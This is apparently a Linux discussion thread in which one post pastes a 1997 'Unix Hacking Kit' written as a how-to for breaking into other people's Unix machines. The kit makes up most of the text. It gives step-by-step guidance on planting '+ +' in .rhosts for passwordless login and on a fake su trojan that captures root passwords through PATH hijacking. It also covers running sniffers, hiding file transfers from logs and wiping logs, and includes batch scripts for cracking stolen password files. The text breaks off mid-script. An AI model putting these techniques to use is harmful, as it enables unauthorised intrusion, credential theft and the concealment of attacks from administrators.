linux rsdio Because it's there. 990608 ... Matt because its fast, and free. and if you can hack C++/ASM/C your good to make some customizations. msprinsk@deepstarsix~ exit 990625 ... OTK stuck i thought dos was great i thought anything was better than windoze appearantly i thought wrong 991027 ... riot complicated enough to keep the masses at bay and secure enough to keep the masses from finding the sea. plus plus. 000113 ... Equin0x Just because you use it doesn't mean you have to stick it down my throat. The advocates are everywhere. 000524 ... The Schleiffen Man it's a nice operating syste m if you like that kind of thing. just don't push your fetish over my feet and expect me not to scream at you. customization doesn't interest me. CLI vs. GUI? who cares. "But linux is stable." So is any other computer run by a person with half a brain. 000526 ... Aubelloc The operating system I call "user-indifferent", as all *nixes : you tell Unix to self-destruct (with, say, rm -r *) and it will gladly do so without any hesitation. It assumes the user knows best, which is I think its greatest strength... and its Achille's Heel. 010306 ... mikey i own linux-mandrake 6.0 been reading it. i installed it once for fun and liked it. i used to work with network technicians and many these days swear by linux. i plan on delving into it much more. 010306 ... mikey anyone else own linux? ive got Linux-Mandrake 6.0 been reading the manual lately. ive successfuly installed it once for fun and found it (briefly) to be interesting and much like windows. ive worked in the networking hardware field before and all the techies RAVED about linux. im building a second computer a cheap one just for installing and learning linux. the more i read the more i love. one person ive read about on a chat board for linux said he installed linux and hasnt had to restart his computer in 68 days! its so stable. 010314 ... mikey eek didnt realize i had posted something similiar before haha. oh well. 010314 ... reitoei what is it? the best os in the world. free stable POSIX. death to Windows!!!!!!! hug the penguins!! Matt Welsh Linus Torvalds UNIX shell bash# windows whois god bash :god not found the atheist OS 011106 ... Annie111 my dad is a convert. our new computer will be dual boot. i don't understand the craziness. it feels colder to me than windows, and less helpful. who the hell wants to use that konsole. i don't want to learn another language. now dos, i understood. my sister plays tux racer sometimes on saturday morning and the annoying music wakes me up. even when i close my door because the subwoofer thumps to bass like god knows. i feel like i should reject windows because of the whole bill_gates_is_evil thing, but I just can't let go. It's like a cocoon or something. When someone makes Snood for Linux, I am there. 011128 ... your mom linux is awsome.. if you know what the hell your doing you can do anything with it. Windows sucks balls and in ever aspect linux kicks windows ass. 020323 ... User24 personally, unless you've got KDE or X, (or some other GUI) I think linux is only good is you're a geek like me or want to learn it for professional reasons, I find it hugely powerful and slighty less than intuitive, but I like it (mostly because it's the only OS that ships with a C/C++ compiler and full internet tools suite (ping, nslookup, whois, traceroute, finger ssh, telent etc etc blah blah) I run SuSe personal 6.2 on my home network, running Apache and I use a MS-DOS 6.22 box to telnet in. So there. 020416 ... bryanfrbs i ran RedHat 7.2 for a while (on my laptop) and the scripts were really difficult to customize. i recently got the most recent snapshot of Debian "woody" on DVD and i love it. although the setup is kind of a hassle, i would suggest it to anyone that knows what they want in a linux distro. oh boy howdy am i happy with Debian GNU/Linux! 020417 ... terry .. is like blather. It grew, not from commercial imperative, but from the passion and vision of a collection of ordinary people wanting to share with their peers. It's empowering, anyone can play, anyone can contribute, anyone can use. 040403 ... The Blackest of The Black Sheep Is it "LINE-UCKS" or "LIN-ICKS??? 'Linicks' sounds pretty fucking gay, and I think the nerds around the world would be happier if it was pronounced as cool as it looks. 040829 ... i_m_uni_x THIS PAPER CONTAINS .C CODE - MAKE SURE TO TURN WORD WRAP OFF! In your editor!! AND DO NOT SAVE ANY CHANGES TO THIS FILE IF ASKED.... Unix Utils Linux/BSD/SySV/SunOS/IRIX/AIX/HP-UX Hacking Kit v1.0.c Jan/97 Hacking Kit v2.0.b March/97 (this is an update) By: Invisible Evil IRC: #unixhacking #virus #hackers #virii #hacking #hacker #hack is just to busy for me ;) NICK: i-e If you have any other exploits, bugs, sniffers or utils that are not in here please mail them to ii@dormroom.pyro.net. And I will be sure to keep you updated with the latest version of this toolkit. Comments are welcome. Sys admin's that want to keep their system clean are welcome to request the latest version. If you are looking for perfect grammar or spelling please put this file in your circular file. I put enough time into this and just put it through a cheap spell check. Whats new? Look for more info on tricks of the trade, and nfs mounting drives to gain access to shells. I am sure you will like the additions. I have added a login trojan, in.telnetd trojan, and some more scripts for scanning machines for mountable drives. Have pun! I will add a (*) to u p d a t e d s e c t i o n s. Contents: Disclaimer Preface Chapter I - Unix commands you need to know 1A. Basic commands Getting back to your home directory getting into a user home directory easy how to see what directory you are in now How to get a complete manual for each command 1B. Telnet Unix file permissions Unix groups How to change permissions and groups 1C. Rlogin .rhosts How to setup a .rhost file to login without a password 1D. FTP Logging in to the site, but never out of the site. Using prompt, hash, and, bin Using get, put, mget, and, mput 1E. GCC (unix compiler) How to get the file to the hack box without uploading it How to copy files to your home directory easy How to compile .c programs How to name them what you want How to load programs in the background while you log off Looking at your process with ps Chapter II - Getting started (your first account) 2A. Cracking password files How to get hundreds of accounts with your first hacked account Why you only really need one password cracked on a system How to get the root password from the admin, on an non-exploit system Using A fake su program Doc's for the fake su program How to find the admin's How to read .bash_history Cracker Jack - A good password cracker How to use crackerjack Word Files What you will need to get started Hashing the word files * Hash file for use with cracker jack and your word list * Hash file for use with cracker jack and your passwd file 2B. Talking to newbe's How to find the newbe's How to get the newbe's passwords 2C. The hard way Using finger @ What could the password be? Getting more info from finger a small .c file to use if you get on Writing a small perl script to do the work for you. How to get a domain list of all domains from rs.internic.net A perl script to rip the domains & put them in a sorted readable list How to execute the perl script * 2D. Using mount to gain access to unix systems * What is nfs mount * What you need to get started * How to check a system to see if you can mount their drives * A script to scan for systems that are nfs mountable * How to mount the system * How to unmount the system * A Live Demo * Mounting the drive * Viewing the user directories * Editing the local machine's passwd file * How to put a .rhosts file in one on thier users directories * How to rlogin to the users account Chapter III - Getting password files 3A. PHF What is phf Using lynx or netscape to access phf Finding the user id the victims httpd (www) is running under How to see if you are root using phf How to cat the password file using phf Backing up the victims password file Changing a users password using phf Restoring the old passwords A .c file that will let you pipe commands to phf from your shell How to use the phf shell file Another way to use phf - text by quantum Quantum's bindwarez file A perl script that will try EVERY domain on the internet and log root access and snatch passwd files for you all day in the background. Doc's for the pearl script above Getting accounts from /var/?/messages A script to get the passwords for you if you can access /var/?/messages 3B. Newbe's Lammer's 3C. Getting shadow passwd files What is a shadow passwd Getting the shadow file without root access A .c file to cat any file without root access 3D. Getting /etc/hosts Why get /etc/hosts Chapter IV - Getting the root account What to do if you can't get root on the system 4A. Bugs Intro 4B. Exploits The umount/mount exploit What are SUID perm's The umount .c file How to compile umount.c The lpr Linux exploit The lpr Linux .c exploit file The lpr BSD .c exploit file How to use lpr Watch the group owners with lpr Just use lpr for first root, then make a SUID shell How to make the SUID root shell for future root access (root root) The splitvt exploit The splitvt exploit .c program How to use the splitvt exploit program The sendmail 8.73 - 8.83 root exploit shell script How to use the sendmail exploit to get root access Chapter V - Making yourself invisible Keeping access 5A. Zap2 (for wtmp/lastlog/utmp) Fingering the host before login How to login and stay safe How to configure Zap2 Finding the log file locations The zap.c file 5B. Other scripts The wted wtmp editor Command line usage for wted How to chmod the wtmp.tmp file How to copy the wtmp.tmp to the wtmp file Setting the path for the wtmp file in wted The wted.c file Cleaning the lastlog file using lled Command line options for lled How to use lled How to chmod the lastlog.tmp file How to copy the lastlog.tmp file to lastlog Setting the path for the lastlog file in lled The lled.c file * A good perl script for editing wtmp, utmp, and, checking processes Chapter VI - Cleaning the log files 6A. A walk around in a hacked system - let's login Logging on the system Watching for admin's Nested directories Having your root file ready Becoming invisible Greping the log directory Cleaning the logs Lets sniff the network Editing your linsniffer.c Looking at the processes running Compiling and naming your sniffer program Starting a sniff session Changing group file access Making a suid root shell trojan for uid=0 gid=0 every time Naming your trojan Touching the files date Checking the sniffer log file Setting the history files to null * Using unset for the history files 6B. messages and the syslog How to find the logs are by reading /etc/syslog.conf How to see if there are logs in hidden directories How to see if logs are being mailed to user accounts How to see if logs are going to another machine * How to edit syslog.conf to hide logins * Restarting syslogd How to see if there is a secret su log by reading /etc/login.defs 6C. The xferlog How to edit the xferlog How to grep and edit the www logs How to look for ftp logs * Other ways to edit text logs * Using grep -v * A script to rip text lines from these logs * Restarting syslogd 6D. The crontabs How to find and read the root or admin's cron How to see if MD5 is setup on the machine What is MD5 Chapter VII - Keeping access to the machine 7A. Tricks of the trade When the system admin has found you out What to expect from the admin History files Nested directories Placing trojans Hidden directories Making new commands (trojans) Adding or changing passwd file entry's Setting some admin accounts with null passwords The best way to add an account Editing a null account so you can login Installing more games or exploitable programs How to know your admin's Reading system mail (with out updating pointers) What to look for in the mail directories A program to read mail without updating pointers 7B. Root kits and trojans What are root kits What are Demon kits What do trojans do ********************************************************* * Appendix I - Things to do after access * ********************************************************* The a-z checklist ********************************************************* * Appendix II - Hacking / Security WWW / ftp sites * ********************************************************* ********************************************************* * Appendix III - More exploits for root or other access * ********************************************************* A3-01. Vixie crontab buffer overflow for RedHat Linux A3-02. Root dip exploit A3-03. ldt - text by quantumg A3-04. suid perl - text by quantumg A3-05. Abuse Sendmail 8.6.9 A3-06. ttysurf - grab someone's tty A3-07. shadow.c - Get shadow passwd files A3-08. Abuse Root Exploit (linux game program) A3-09. Doom (game) root exploit - makes suid root shell A3-10. dosmenu suid root exploit A3-11. Doom root killmouse exploit A3-12. Root exploit for resize icons A3-13. Root console exploit for restorefont A3-14. Root rxvt X server exploit A3-15. Root wuftpd exploit A3-16. A shell script called gimme, used to read any system file ********************************************************* * Appendix IV - Other UNIX system utilities * ********************************************************* A4-01. Cloak v1.0 Wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX A4-02. invisible.c Makes you invisible, and works on some SunOS without root A4-03. SySV Program that makes you invisible A4-04. UNIX Port scanner A4-05. Remove wtmp entries by tty number or username A4-06. SunOS wtmp editor A4-07. SunOS 4+ Zap your self from wtmp, utmp and lastlog ********************************************************* * Appendix V - Other Unix Exploits * ********************************************************* A5-01. HP-UX Root vhe_u_mnt exploit A5-02. IRIX Root mail exploit A5-03. Root cron grabber - Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX A5-04. IRIX mail exploit to make you any user on the machine - BUT NOT root A5-05. BSD - crontab root exploit ********************************************************* * Appendix VI - UUENCODED FILES * ********************************************************* 1. Quantum's Bindwarez binary file for PHF 2. Demon Root Kit - Includes: Banish, DemonPing, DemonSu, DemonTelnet 3. Linux Root Kit - Includes: Login, Netstat, and, PS 4. The Fake SU Program ********** Disclaimer ********** True this manual will aid hackers into breaking into systems but it is also provided to guide system admin's on different security problems and help with things to watch for on their system to keep hackers off. If you use this manual to gain access to any system where you do not belong, and do any type of damage, you alone will suffer for your stupid actions! I am not telling you to break into any system, I am just showing some of my experience, and things that I would do if I was to break into my own system. This is for information only..... ISP's Secure Your Systems! ******* Preface ******* Ok, lets get started. If you are going to hack, you must be doing this for a reason. All hackers have their reasons for doing what they do. Most are just hungry to learn. Most of what I have learned about unix, i have learned on some service providers or someone else's machine. I am one for the 'hands on' experience. There is much to learn and you would have to read 20,000 books just to get what you would learn out of a few config files, a few admin email messages, some .bash_history files, and some poking around a few systems. Here in this manual you should learn how to be the 'complete hacker' and come up with a style of your own. It will not take to long, but it will take some practice and experience before you will be able to call yourself a hacker. Not just anyone that can crack a password file, and log into a unix machine can call themselves a hacker. Ok, you can get root access to a box! You still are not a hacker! You need to know why you are a hacker first, and then have your 'code' and 'style'. You need a purpose and a reason for hacking into any box. The true hacker knows why he is doing what he does, and is doing it for reasons like knowledge, free information, and ACCESS. The true hacker will turn one hack into access to many different systems and providers and keep this access for future learning and more FREE information. The wan-a-be hacker will not be invisible, and will do many stupid things like: delete or corrupt data, down the machine, run bots or irc clients from root accounts or machines Give the passwords he cracked to everyone in the world to prove they can hack. Or they might just do stupid things that will get themselves cought. I think sometimes this is done purposely just to draw attention to themselves so they can get cought and make the announcement that they are a hacker, and they were here! A real hacker needs no such glory, he just needs the access and wants to keep it and be invisible! He will not tell many friends about the system, he will not give out the passwords or accounts, he will keep others off so he can continue his access there and keep it clean. Here in this manual i hope that i can add enough style so that you can have real heart in this matter and and be a good clean hacker. Happy hacking ... -------------------------------- Chapter I Unix commands you need to know. -------------------------------- There are just a few basic commands you need to learn, and then some unix programs that will aid you in logging in logging into or keeping access to the machine. Call your local internet service provider and ask them to sell you a shell account so that you will have something to practice on to learn these basic commands. The average shell account might cost you $10.00 per month if you don't already get one with your existing account. -------------- Section 1A Basic commands -------------- I hope you have a basic knowledge of DOS, that would help a bit, and I will assume that you already do in writing this manual. DOS Commands you are used to first: REMEMBER: unix is case sensitive, so if I here use lower case you must also, if I use a space you must also. DOS will let you get away with allot of things but unix will not! DIR/W = ls DIR = ls -l DIR/AH = ls -al AH=(hidden) -al=(include hidden files as well as regular) RENAME = mv ATTRIB = chmod MD = mkdir RD = rmdir DEL = rm COPY = cp These are the basic commands, i suggest that you lookup the man pages on each one of these commands from your unix shell. You would do this by typing 'man command' without the ''. each one of these commands will have switches for them, like cp -R to copy files and directories. So you would type man cp to get all of the switches you can use with the copy command. cd {then press enter} will always take you to your home directory cp filename $HOME will copy the file to your home directory cd ~username will take you to that users home dir if you have access to be there pwd {press enter} will show you what directory you are in. ------------- Section 1B Telnet ------------- Telnet is a command that you can use from a shell account, or from an exe file (telnet.exe) from Windows, OS/2, Windows 95 and other operating systems that will let you connect to another machine on the net. There are other programs you will learn about here like FTP, and rlogin that you can use as well but now we will use telnet. You can use telnet if you know the IP address or the host name you want to connect or login to. To use the command you would just use the telnet program to connect to the IP or host like this: Telnet netcom.com or telnet 206.146.43.56 Ok, now lets login: telnet machine.com trying ..... Connected to machine.com Linux 2.0.28 (machine.com) (ttyp0) machine login:username password:####### bash$ Your prompt might look different, but we will use this one. Notice above that it will tell you the O/S when you get the login prompt. You can use this if you get a large collection of passwd files. Even before going on to crack them sort them by O/S types by just telnet-ing to them to see what they are running. There are other ways, but lets keep this telnet topic going for a sec... telnet domain.name.com, after you see what they are running make a note of this and ctrl ] to break out of the connection. Put all of your linux passwd files into a pile to be cracked first. All we need is one account that works for the system, and we can be almost sure we will have root on that machine! There are way to many holes in linux to think we will not be able to own one of those machines, so lets get to work so we can start this wonderful world of hacking. ---------------------- Unix File Permissions ---------------------- bash$ bash$ cd /tmp bash$ ls -l total 783 -rwx------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r 1 berry mail 1 Jan 16 12:38 filter.14428 -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598 -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600 drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens First notice that we used a / and not \ to change to the tmp directory! Unix uses the / as the root so it is backwards from DOS here. Notice we did ls -l for the long directory. If we did 'ls' we would have what you see below. bash$ ls 19067haa filter.14428 pop3a13598 pop3a13600 screens With what we see here can not tell much, so most of the time we will be using ls -al with the -al we will see the hidden files also, hidden files and directories will always start with a '.'. Now watch: bash$ ls -al total 794 drwxrwxrwt 4 root root 8192 Jan 25 23:05 . drwxr-xr-x 22 root root 1024 Dec 28 18:07 .. -rw-r 1 berry users 6 Jan 25 23:05 .pinetemp.000 drwxr-xr-x 2 berry users 1024 Jan 25 23:05 .test -rwx------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r 1 berry mail 1 Jan 16 12:38 filter.14428 -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598 -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600 drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens .pinetemp.000 is a hidden file, and .test is a hidden directory. -rw-r 1 berry mail 1 Jan 16 12:38 filter.14428 row 1 row2 row3 ---------------------------- Now here we need to learn about permissions, users, and groups. Row #1 is the file permissions Row #2 is who owns the file Row #3 is the group owner of the file File permissions are grouped together into three different groups. If the line starts with a d, it is a directory, if there is no d, it is a file. - --- --- --- | | | |-------- Other = anyone on the machine can access | | |------------ Group = certain groups can access | |---------------- User = only the owner can access |------------------ Directory Mark - rw- r-- r-- | | | |-------- Other can only read the file | | |------------ Group can only read the file | |---------------- User can read or write to the file |------------------ It is not a directory - rwx rwx r-x | | | |-------- Other can read and execute the file | | |------------ Group can read write and execute the file | |---------------- User can read write and execute the file |------------------ It is not a directory The owner is the user name in row #2 and the group owner is the name in row #3. In DOS the file has to have a .exe, .com, or .bat extension to execute, but in unix all you need is the --x in your group of user, other, group You can change these permissions if you own the file or have root access: --------------------------------------------------------------------------- chmod oug+r filename will make all three groups of permissions be able to read the file. chmod og-r filename would make the file readable only to the user that owns the file. (notice the - or + to set the file yes or no) chmod +x filename would make the file execute by all. chown username filename would make the file owned by another user. chgrp groupname filename would make the file owned by another group. --------------------------------------------------------------------------- Make sure to keep file perm's and groups the same or you will be sniffed out and booted from the system. Changing configs on the system might only break other functions, so keep your paws off or you are just asking to get cought. Only do what you are *SURE* of. Only use commands that you know, you might find yourself spending hours fixing just one typo like chown -R username /* could keep you busy for a year ;) Just be careful! We will get into this stuff more as we go into the needs for this. ------------------ Section 1C Rlogin ------------------ There is another command you might use and we will get into this elsewhere as we get into using rlogin to login to a system without a password. For now read the man pages on rlogin by using the man rlogin from your shell account. The basic command would be : rlogin -l username hostname connecting.... password: bash$ Rlogin requires the user to have a file in their home directory that tells what system they can receive the rlogin from. In this file .rhosts it would look like this: username hostname (or) hostname if you were to add to this file + + it would let any user from any host login without a password. The file would look like this: ----- cut here ------ + + _____ cut here ------ if they already had entry's you could add the + + under their host names, but remember now they would notice seeing they would now be able to rlogin without the password. You would be targeting people that did not already have a .rhosts file. --------------- Section 1D FTP --------------- Another way to login will be FTP. You can use a windows client, or just login from a shell. ftp ftp.domain.com This will allow you to download or upload files to the site you are hacking. Just make sure to edit the xferlog (see section 6d) to wipe your tracks on the system. Remember NEVER to ftp or telnet out of the hacked system, only log into it! If you are coming from your own system, or from another hacked account you might just be giving your login and password to the system admin or another hacker on their system. There could be a telnetd or ftpd trojan loaded on the system, or even a sniffer. Now you would have just gave someone your login id and password. And if this was the system admin, he might have the idea that revenge is sweet ;) Using ftp from the shell, I would suggest using a few commands: After you login, and have your prompt, type these commands pressing enter after each one. prompt hash bin prompt will allow you to type a command like (mget *) or (mput*) and transfer an entire directory without having it prompt you for each file yes or no. hash marks hash will put ############ on the screen so you can see the transfer is still moving and at what speed. bin will make sure you get the files in the right mode, and if transferring binary files, you will be sure they will uncompresses. The transfer commands are easy, get filename, or, put filename, or for many files you can use regular wild cards with mput or mget. -------------------- Section 1E GCC compiler -------------------- There will be a time when you will need to compile a .c file. It is best to compile on the machine you are working on. So upload or copy and past the files to the hacked box and compile them there. If you have problems with their compiler you can try to upload pre-compiled files. One way to get the file up to the victims machine would be to use copy and paste. Get a good tsr or windows shareware program to do this if you do not have any way to do it now. You can copy a script file from one window and paste it into an editor on the victims machine, and then compile the new file. Walaa... no upload log of the file. You can copy and paste from the victims machine as well so that there are no download logs of ascii files. To copy and paste you can just open an editor on the hacked box, and then copy from your other session, and paste your script into the editor and save the file. This way there will not be anything in the xferlog yet. You can do the same thing with the password file. If you do decide to download the password file using ftp, make sure to copy it to your home directory first under a different name. bash:/etc: cp passwd $HOME/plog would copy the file called passwd from the /etc directory you were in, to your home directory in a file called plog instead of passwd. Admin's grep the xfer logs looking for who is downloading the passwd file. Another way to get file to or from the box without showing up in the logs would be to open an irc session on the victims machine, then from your other session where you are already a user on irc, send the files using dcc. The command to send the files would be /dcc send The command to get the file on the other side would be /dcc get It would be nice if you had a bot loaded on the irc when you were hacking so that you could just send files to the bot and have it auto receive them. A 'bot' is a robot program that you can load in the background on your shell account that will receive files, keep channels open, etc... The GCC compiler is easy... gcc filename.c -o filenameyouwant If i was to compile a file called z2.c that would zap the log files i would type this: gcc z2.c -o zap This would give me a file that would exe, called zap If I just typed : gcc z2.c I would have a file named a.out, that was the executable file and would have to rename it to zap, or some name i would know by doing this: mv a.out zap Now I would have a file named zap that was executable instead of a.out. You will want to make sure you are not naming these files names that sys admin's will know. If you had a sniffer file called 'linuxsniffer.c' you don't want to keep the same name ;) call it something like: gcc linuxsniffer.c -o lsn Remember also sometimes you can execute these files names right in the directory by just typing the file name like for our 'lsn' (sniffer) above just by typing lsn. But sometimes this will not work unless you add a ./ to the command. So remember, sometimes you will need to type ./lsn or your file name. Also there will be a time you will want a program to run in the background even after you logoff. Like in the case of the sniffer above. In this case you might want to name your sniffer something that would not be so easy noticed. Use your own style here. BUT to make it stay in the background while you are off the system you need to run the command with a & after the command. lsn& If you were to just type lsn, your screen would pause, and you would not be able to type while the program was sniffing, but if you typed lsn& it would load and the system prompt would come right back to you. Also the system would let you know it was loaded by giving you the process id # that it was loaded as. You could view the process with the ps -x command, you might want to run ps -auxe |more a= all u= show user x= yours e= env some machines f=tree or command: pstree ------------------------------------ Chapter II Getting started (your first account) ------------------------------------ There are many ways to get a starter account. I will go into each area to help you get started. All you need is one good account to spawn off to hundreds of accounts. Think of this; You get one good exploitable system, most any linux machine ;) Now you get root access and load a sniffer program. The TCP sniffer will search out any login process on the network and log the login and password for any telnet, ftp, or dial-in session going out or coming into the system. Now even if it is a small ethernet connection you have around 100 passwords for a few machines or domains. If a larger net provider you have hundreds of accounts all over the world! All you need for this is one good account and password to an exploitable system. If it seems you can not exploit root on the system, this might be a good system to crack passwords on and exchange the accounts for other accounts from hackers or irc users that are looking to load a bot but do nt have the shell account or disk space to do it. NEVER give out even one password to a system you exploited root on. Keep these systems to yourself! Lets now get into ways to get your first accounts. ------------------------ Section 2A. Cracking passwd files ------------------------ If you are hacking with the right frame of mind, you will run the crack program until you get one good account that will let you into the system. You will login and see if you can exploit root on the system, if so, get root, get the files you need to use into your nested directory, and erase your presence, and clean all of the logs. Now you are ready to load your sniffer. Why go on hacking passwords for a system that within 24 hours you will have most of the passwords anyway? Not only for the machine you just hacked, but other machines that were connected to as well. If the system is not exploitable don't even waste your time on it, go on to the next. At a latter date if you want to crack passwords for accounts to trade go ahead. If you get an admin's account cracked you might want to read his history files, and see if he is using the su command to access root allot. If he is you can use an su trojan on him. This will get you the root password. This works like this: You change his shell script so that a hidden directory (.term) is good, is set in the search path before all other directories. You put a fake su binary in the .term (or other) directory. He types su, everything looks good to him, he types in the root password when prompted, the password id copied to a log file in /tmp/.elm69, and deletes the trojan su file, and returns to him a password error telling him to try again. He thinks he must have done something wrong and runs su again, but this time the real one and logs in. You will find this fake su program in the last appendix named uuencoded files. Here are the docs: Fake SU by Nfin8 - i-e IRC: /msg i-e Easy as 1,2,3 ... 1. Change the path in one of the user accounts that you have access to that you see is using SU from reading their history files, to hit a path first that you have placed the su trojan file into. .term or .elm is good! 2. Make sure to edit the top of the su.c file to the path you will be using so that the sutrojan will delete isself and let the real SU work for the second try. 3. Put all of the files in the target directory and compile the su.c file. gcc su.c -o su Then delete all of the files but the su. All done! .bash_profile might look like this: # .bash_profile # Get the aliases and functions if [ -f ~/.bashrc ]; then . ~/.bashrc fi # User specific environment and startup programs PATH=$PATH:$HOME/bin ENV=$HOME/.bashrc USERNAME="" export USERNAME ENV PATH You change the first line to: PATH=$HOME/.term:$PATH:$HOME/bin When the sys admin run's 'SU' it will run the SU-trojan in the .term directory first and report that the password he typed was wrong, the Trojan su program would have put a hidden file in the /tmp directory for you that contains the root password (or account passwd) typed. If it was an account rather then the root password it will let you know the account name. Then the trojan su program deletes itself so that the next try will get the real su program. You can find the admin's at the top section of the passwd file in the /etc directory. Just type : more passwd You can be sure that the first two real accounts made in the passwd file are admin's, also sometimes you can find others by where their directories are located in the password file. Like /staff/username. The history files are in each users account directory. You can read these to see what the last commands were that were typed by the user. Sometimes as much as the last 100+ commands. Look for the file .bash_history, or History, you can read these using more. command: more .bash_history, or most times to keep your typing you can type : more .b* (or) just type : more .b (and then hit the tab key on your keyboard). Ok so now you need a good password cracking program. You can see in the next chapter on how to get password files from systems that you do not have an account on, but it is catch 22, you need the password cracking program too. There are three things that you will need. 1. Password cracking program 2. Good word files 3. Password files The best password cracking program to start would be crackerjack. You can search the web and find this easy as 1,2,3. Download it and you are ready to go. If you are a bit more advanced you can download a cjack for unix and run it in a shell. But if you are just getting started get the DOS/OS/2 version. Also search for some good word files. The best word files are the names. You will find that most unsecured passwords out there are guy's girlfriends names, of girls boyfriends names ;) You will find word files like 'familynames' 'babynames' 'girlsnames' 'boysnames' 'commonpasswords' hackersdict' and other like these to be the best. Load crackerjack like this: [D:\jack]jack Cracker Jack version 1.4 for OS/2 and DOS (386) Copyright (C) 1993, The Jackal, Denmark PWfile(s) : domain.com.passwd Wordfile : domain.com.passwd Like above run the password file as the wordfile first. This will get you all of the logon's first that used their login name as their password, also if they used any other info like their real name or company name it will hit right away and you will not have to wait for the program to search through a word file. If you want to hash the word file to get more out of it you can read the doc's for crackerjack. Hashing is where you can tell crackerjack to change the case of the wordfile or even add numbers or letters to the beginning or end of the words in the word file, like sandy1 or 1sandy. You will find that many users do this and think they are more secure. Here are hashing files for both the passwd file and your word list. After looking these over you will see how you can modify these or create new ones to suit your needs. ------------ start of dicthash.bat @echo off cls echo - THIS FILE FOR DOS MACHINES echo ---------------------------------------------------------------------- echo - To work this batch file have all of the crackerjack files in the echo - current directory with this batch file, along with your dict and echo - password file. Then use this batch file using the following format: echo - echo - dicthash.bat dictfilename.ext passwordfilename.ext echo - echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well. echo - echo - dicthash will first load jack running the dict file against your echo - password file in both cases, then it will add numbers 0-9 both to echo - the begining and end of every dict word. This will take a while, echo - so go out for that week vacation! echo - echo - If you get tired you can 'ctrl c' to the next option or number. echo - echo - ii@dormroom.pyro.net echo - echo - Mail me some of your hits, let me know how this works for you ;) jpp -lower %1 | jack -stdin %2 jpp %1 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.1 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.1 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.2 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.2 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.3 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.3 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.3 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.3 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.4 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.4 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.4 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.4 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.5 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.5 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.5 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.5 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.6 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.6 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.6 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.6 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.7 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.7 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.7 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.7 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.8 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.8 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.8 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.8 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.9 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.9 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.9 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.9 | jack -stdin %2 jpp -dot:0 %1 | jpp -translate:.0 | jack -stdin %2 jpp -dot:7 %1 | jpp -translate:.0 | jack -stdin %2 jpp -lower -dot:0 %1 | jpp -translate:.0 | jack -stdin %2 jpp -lower -dot:7 %1 | jpp -translate:.0 | jack -stdin %2 ---------------- end of dicthash.bat ---------------- start of jackhash.bat @echo off cls echo - THIS FILE FOR DOS echo ---------------------------------------------------------------------- echo - To work this batch file have all of the crackerjack files in the echo - current directory with this batch file, along with your password file. echo - Then use this batch file using the following format: echo - echo - jackhash.bat passwordfilename.ext echo - echo - Make sure to have the jpp.exe and jsort.exe files in your dir as well. echo - echo - jackhash will first load jack running the passwd file against echo - itself in both upper and lower cases, then it will add numbers 0-9 echo - both to the begining and end of every dict word. This will take echo - a while, so go out for that week vacation! echo - echo - If you get tired you can 'ctrl c' to the next option or number. echo - echo - ii@dormroom.pyro.net echo - echo - Mail me some of your hits, let me know how this works for you ;) jpp -gecos:5 -lower %1 | jack -stdin %1 jpp -gecos:5 %1 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.1 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:1 -lower -dot:0 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:1 -lower -dot:7 %1 | jpp -translate:.2 | jack -stdin %1 jpp -gecos:1 -dot:0 %1 | jpp -translate:.3 | jack -stdin %1 jpp -gecos:1 -dot:7 %1 | jpp -translate:.3 | jack -stdin %1 jpp 